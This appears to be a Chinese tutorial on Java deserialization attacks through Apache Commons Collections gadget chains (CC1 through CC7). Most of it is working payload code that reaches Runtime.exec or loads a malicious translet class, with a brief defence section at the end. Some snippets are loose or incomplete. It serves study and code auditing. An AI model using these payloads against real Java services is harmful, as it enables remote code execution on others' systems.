Java反序列化漏洞分析:Commons Collections链(CC链)详解
一、Commons Collections简介
Commons Collections是Apache软件基金会的项目,对Java标准库中的Collections进行了扩展,提供了更多集合处理方法和性能优化。它包含了一系列Transformer接口实现,这些接口在反序列化漏洞中被广泛利用。
二、环境搭建
分析CC链需要搭建特定环境:
- JDK版本:JDK8u65(可从Oracle官网下载)
- 配置步骤:
- 下载并解压JDK8u65
- 下载对应源码包(http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4)
- 解压源码中的sun包到JDK的src目录
- 在IDEA的Project Structure中添加src包到Sourcepath
三、CC1链分析
1. 核心漏洞点
CC1链的核心漏洞点是InvokerTransformer.transform()方法,该方法可以通过反射执行任意方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
2. 命令执行构造
正常执行命令的方式:
Runtime.getRuntime().exec("calc");
通过反射执行命令:
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
转换为InvokerTransformer形式:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(Runtime.getRuntime());
3. 调用链构造
寻找调用transform的方法:
TransformedMap.checkSetValue()调用了transformTransformedMap.decorate()可以控制valueTransformer- 通过
Map.Entry.setValue()触发checkSetValue
完整调用链:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");
for (Map.Entry entry: transformedMap.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
4. 结合AnnotationInvocationHandler
利用AnnotationInvocationHandler.readObject()自动触发:
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformedMap);
5. 解决Runtime序列化问题
Runtime未实现Serializable,解决方案:
- 使用
Runtime.class代替Runtime对象 - 通过反射链获取Runtime实例:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
6. 绕过AnnotationInvocationHandler检查
使用Retention注解代替Override,并设置key为"value":
map.put("value","bbb");
Object o = constructor.newInstance(Retention.class,transformedMap);
7. 最终Payload
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","bbb");
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
四、CC1链变种(LazyMap版)
1. 核心差异点
使用LazyMap.get()代替TransformedMap.checkSetValue():
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
2. 调用链构造
通过AnnotationInvocationHandler.invoke()触发:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Object result = memberValues.get(member);
// ...
}
3. 动态代理技巧
使用两个AnnotationInvocationHandler,第一个的memberValues为代理第二个的动态代理:
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);
Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
AIHC.setAccessible(true);
InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, AIHCIH);
Object o = AIHC.newInstance(Override.class, mapproxy);
五、CC6链分析
1. 背景
JDK8u71修复了CC1链:
- 移除了
AnnotationInvocationHandler.readObject()中对checkSetValue的操作 memberValues设置为客户端不可控
2. 新调用链
利用HashMap.hash()触发:
HashMap.readObject()遍历Map并调用每个key的hashCodeTiedMapEntry.hashCode()调用getValue()getValue()调用get()
3. Payload构造
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
// 反射修改factory
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
lazymap.remove("123");
六、CC3链分析(动态类加载)
1. 核心思路
利用ClassLoader.defineClass()动态加载恶意类,而非直接执行命令。
2. 关键类分析
TemplatesImpl类:
defineTransletClasses():动态加载类getTransletInstance():实例化加载的类newTransformer():公开方法触发整个流程
3. 恶意类要求
恶意类必须:
- 继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet - 实现必要方法
示例恶意类:
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override public void transform(DOM document, SerializationHandler[] handlers) {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
4. Payload构造
TemplatesImpl templates = new TemplatesImpl();
// 设置_name
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
// 设置_bytecodes
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
// 设置_tfactory
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// 触发链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
// 后续与CC1相同
七、CC3链变种(InvokeTransformer被禁用)
1. 替代方案
使用TrAXFilter和InstantiateTransformer:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
instantiateTransformer.transform(TrAXFilter.class);
2. 完整Payload
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
八、CC4链分析
1. 核心特点
利用TransformingComparator(在CC4中变为可序列化):
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
2. 调用链
PriorityQueue.readObject()调用heapify()heapify()调用siftDown()siftDown()调用compare()
3. Payload构造
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
// 反射修改transformer
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);
九、CC5链分析
1. 入口点
BadAttributeValueExpException.readObject()调用toString()
2. 调用链
TiedMapEntry.toString()调用getValue()getValue()调用LazyMap.get()
3. Payload构造
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, tiedMapEntry);
十、CC7链分析
1. 入口点
HashTable.readObject()调用equals()
2. 调用链
AbstractMap.equals()调用get()LazyMap.get()触发命令执行
十一、防御措施
- 升级Commons Collections到最新版本
- 使用SerialKiller等防护工具
- 配置反序列化过滤器
- 避免反序列化不可信数据
十二、总结
CC链展示了Java反序列化的强大威力,通过精心构造的调用链,攻击者可以在目标系统上执行任意代码。理解这些漏洞的原理和构造方式,对于开发安全的Java应用程序和进行有效的代码审计至关重要。